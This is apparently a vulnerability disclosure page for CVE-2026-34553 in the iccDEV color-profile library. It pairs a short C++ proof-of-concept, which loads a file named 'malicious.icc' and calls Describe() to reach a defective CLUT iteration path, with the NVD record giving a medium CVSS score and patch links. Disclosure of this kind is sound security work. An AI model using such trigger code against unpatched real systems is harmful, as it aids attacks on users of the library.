CVE-2026-34553

#include <iostream> #include "IccProfile.h" // PoC for CVE-2026-34553: LUT dump/iteration logic defect // This code attempts to load a potentially malicious ICC file and trigger the Describe() function. int main() { const char* filename = "malicious.icc"; // Load the ICC profile using the vulnerable library CIccProfile* pProfile = new CIccProfile(); if (!pProfile->Read(filename)) { std::cerr << "Error: Failed to read ICC profile." << std::endl; delete pProfile; return 1; } std::cout << "Profile loaded successfully. Attempting to describe..." << std::endl; // Trigger the vulnerable logic in CIccMBB::Describe() via CLUT dumping // This path involves the defective CIccCLUT::Iterate() pProfile->Describe(std::cout); std::cout << "Operation completed." << std::endl; delete pProfile; return 0; }

{"cve": {"id": "CVE-2026-34553", "sourceIdentifier": "[email protected]", "published": "2026-03-31T23:17:10.460", "lastModified": "2026-04-20T14:36:32.003", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "iccDEV provides a set of libraries and tools for working with ICC color management profiles. Prior to version 2.3.1.6, there is a defect in LUT dump/iteration logic affecting CIccCLUT::Iterate() and output produced by CIccMBB::Describe() (via CLUT dumping). This issue has been patched in version 2.3.1.6."}, {"lang": "es", "value": "iccDEV proporciona un conjunto de bibliotecas y herramientas para trabajar con perfiles de gestión de color ICC. Antes de la versión 2.3.1.6, existe un defecto en la lógica de volcado/iteración de LUT que afecta a CIccCLUT::Iterate() y a la salida producida por CIccMBB::Describe() (mediante el volcado de CLUT). Este problema ha sido parcheado en la versión 2.3.1.6."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N", "baseScore": 4.0, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.5, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-562"}, {"lang": "en", "value": "CWE-665"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:color:iccdev:*:*:*:*:*:*:*:*", "versionEndExcluding": "2.3.1.6", "matchCriteriaId": "DE133F29-9592-4669-8B76-9F7C88EFE17D"}]}]}], "references": [{"url": "https://github.com/InternationalColorConsortium/iccDEV/issues/704", "source": "[email protected]", "tags": ["Issue Tracking", "Exploit", "Patch"]}, {"url": "https://github.com/InternationalColorConsortium/iccDEV/pull/737", "source": "[email protected]", "tags": ["Issue Tracking", "Patch"]}, {"url": "https://github.com/InternationalColorConsortium/iccDEV/security/advisories/GHSA-5r4q-77w5-3q3h", "source": "[email protected]", "tags": ["Patch", "Vendor Advisory"]}]}}